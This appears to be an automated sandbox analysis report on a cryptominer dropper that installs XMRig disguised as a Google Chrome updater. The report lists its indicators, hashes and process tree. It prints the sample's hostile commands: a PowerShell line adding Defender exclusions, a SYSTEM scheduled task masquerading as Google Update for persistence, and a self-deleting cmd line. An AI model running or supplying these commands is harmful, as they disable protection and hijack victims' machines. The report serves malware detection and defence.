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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
450s -
max time network
1786s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1652 created 1312 1652 3JynzWc6LxNCT2y8.exe 10 PID 1652 created 1312 1652 3JynzWc6LxNCT2y8.exe 10 PID 1652 created 1312 1652 3JynzWc6LxNCT2y8.exe 10 PID 1652 created 1312 1652 3JynzWc6LxNCT2y8.exe 10 PID 1128 created 1312 1128 updater.exe 10 PID 1128 created 1312 1128 updater.exe 10 PID 1128 created 1312 1128 updater.exe 10 PID 1128 created 1312 1128 updater.exe 10 PID 2008 created 1312 2008 conhost.exe 10 PID 1128 created 1312 1128 updater.exe 10 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral1/memory/1868-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1868-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 1568 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1128 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2532 taskeng.exe -
resource yara_rule behavioral1/memory/1868-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1868-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1128 set thread context of 2008 1128 updater.exe 52 PID 1128 set thread context of 1868 1128 updater.exe 47 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 3JynzWc6LxNCT2y8.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2728 schtasks.exe 2836 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1112 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0043bcb9b64fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1652 3JynzWc6LxNCT2y8.exe 1652 3JynzWc6LxNCT2y8.exe 2064 powershell.exe 1652 3JynzWc6LxNCT2y8.exe 1652 3JynzWc6LxNCT2y8.exe 2600 powershell.exe 1652 3JynzWc6LxNCT2y8.exe 1652 3JynzWc6LxNCT2y8.exe 1652 3JynzWc6LxNCT2y8.exe 1652 3JynzWc6LxNCT2y8.exe 2576 powershell.exe 1128 updater.exe 1128 updater.exe 1932 powershell.exe 1128 updater.exe 1128 updater.exe 1656 powershell.exe 1128 updater.exe 1128 updater.exe 1128 updater.exe 1128 updater.exe 2008 conhost.exe 2008 conhost.exe 1128 updater.exe 1128 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2064 powershell.exe Token: SeDebugPrivilege 2600 powershell.exe Token: SeDebugPrivilege 2576 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1656 powershell.exe Token: SeDebugPrivilege 1128 updater.exe Token: SeAssignPrimaryTokenPrivilege 1112 WMIC.exe Token: SeIncreaseQuotaPrivilege 1112 WMIC.exe Token: SeSecurityPrivilege 1112 WMIC.exe Token: SeTakeOwnershipPrivilege 1112 WMIC.exe Token: SeLoadDriverPrivilege 1112 WMIC.exe Token: SeSystemtimePrivilege 1112 WMIC.exe Token: SeBackupPrivilege 1112 WMIC.exe Token: SeRestorePrivilege 1112 WMIC.exe Token: SeShutdownPrivilege 1112 WMIC.exe Token: SeSystemEnvironmentPrivilege 1112 WMIC.exe Token: SeUndockPrivilege 1112 WMIC.exe Token: SeManageVolumePrivilege 1112 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1112 WMIC.exe Token: SeIncreaseQuotaPrivilege 1112 WMIC.exe Token: SeSecurityPrivilege 1112 WMIC.exe Token: SeTakeOwnershipPrivilege 1112 WMIC.exe Token: SeLoadDriverPrivilege 1112 WMIC.exe Token: SeSystemtimePrivilege 1112 WMIC.exe Token: SeBackupPrivilege 1112 WMIC.exe Token: SeRestorePrivilege 1112 WMIC.exe Token: SeShutdownPrivilege 1112 WMIC.exe Token: SeSystemEnvironmentPrivilege 1112 WMIC.exe Token: SeUndockPrivilege 1112 WMIC.exe Token: SeManageVolumePrivilege 1112 WMIC.exe Token: SeLockMemoryPrivilege 1868 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2600 wrote to memory of 2728 2600 powershell.exe 32 PID 2600 wrote to memory of 2728 2600 powershell.exe 32 PID 2600 wrote to memory of 2728 2600 powershell.exe 32 PID 1568 wrote to memory of 2628 1568 cmd.exe 33 PID 1568 wrote to memory of 2628 1568 cmd.exe 33 PID 1568 wrote to memory of 2628 1568 cmd.exe 33 PID 2576 wrote to memory of 2476 2576 powershell.exe 40 PID 2576 wrote to memory of 2476 2576 powershell.exe 40 PID 2576 wrote to memory of 2476 2576 powershell.exe 40 PID 2532 wrote to memory of 1128 2532 taskeng.exe 38 PID 2532 wrote to memory of 1128 2532 taskeng.exe 38 PID 2532 wrote to memory of 1128 2532 taskeng.exe 38 PID 1656 wrote to memory of 2836 1656 powershell.exe 53 PID 1656 wrote to memory of 2836 1656 powershell.exe 53 PID 1656 wrote to memory of 2836 1656 powershell.exe 53 PID 1128 wrote to memory of 2008 1128 updater.exe 52 PID 1104 wrote to memory of 1112 1104 cmd.exe 46 PID 1104 wrote to memory of 1112 1104 cmd.exe 46 PID 1104 wrote to memory of 1112 1104 cmd.exe 46 PID 1128 wrote to memory of 1868 1128 updater.exe 47 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1312
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1652
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2728
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1568
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2836
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1868
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1104
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2932
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2008
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2628
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128
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C:\Windows\system32\taskeng.exetaskeng.exe {94E3E1E1-FC98-4117-B797-F9608E7FC94A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2532
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1112
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
362KB
MD5d95b4492185cbac32f35a4bf9c9813b5
SHA1f92764cfa0029215d3e460a9240d8b71c1a5db60
SHA256dfa408ce57e4ab79fc13d9bc744c0b7ec9843dea5858ece939bbdad5178c0afd
SHA5127e947f98365d4c0b8a138a8b71e2a4c49a5a741ba6df9e21bb44c2607747cf51cf5974386858d7f622df90faa09ed95f922231c6bfbb85b1ff09c32bc67ca438
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Filesize
232KB
MD5e190a95930746bb385130e2ee0a60c8f
SHA153ec351f83ec3f26e80b643f57af5a1d21e33859
SHA256089edbf969c911e4ea227bcd461c5358f07f552740e3eea7674e7e64ee8f1bdd
SHA512ef2c9d8bf3b3e0b9ec63239ca917bdf07f6283e11371e746610470625601ffa48c30b7a4f378a0512a80bf8f32f0234a3398c4ce23151cae40e1d555812867e7
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3DUSN8U3L3Z79BMAFXDT.temp
Filesize7KB
MD5d14ff59a657f6d0d4ffc5ef804b222ad
SHA108d231aa7de96055bb715808d34364f317c72221
SHA2560b8d9b7e409deb78688d436bc20b6e2f1eb565cda4fea3260ea78f2f58ec6920
SHA51281862f71ee3a5a7eed7a356371eaaa08d29c8a4a81cff748983afcd590a96a834b24d8c7179d84b5918b57bd80acb98207f04a0b33fc30c4a91420210d98d74d
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Filesize
370KB
MD5eee0124296870595acda474e1b9bc84e
SHA18e0d7871b64e14af58fd37929f02fcbe5b4e6a4b
SHA256228dd8c47a98ced74a2db16965fdc021c689693512959ec81a93535c190ebc09
SHA512e8ac7f755da8f895498ccfcefea6bf2c0ba38e7e4aae81e1c0bca6d1f5e76120088233a5431e67e25b1db58cc8976d3854c6c299fae86a45dee1fff18630843a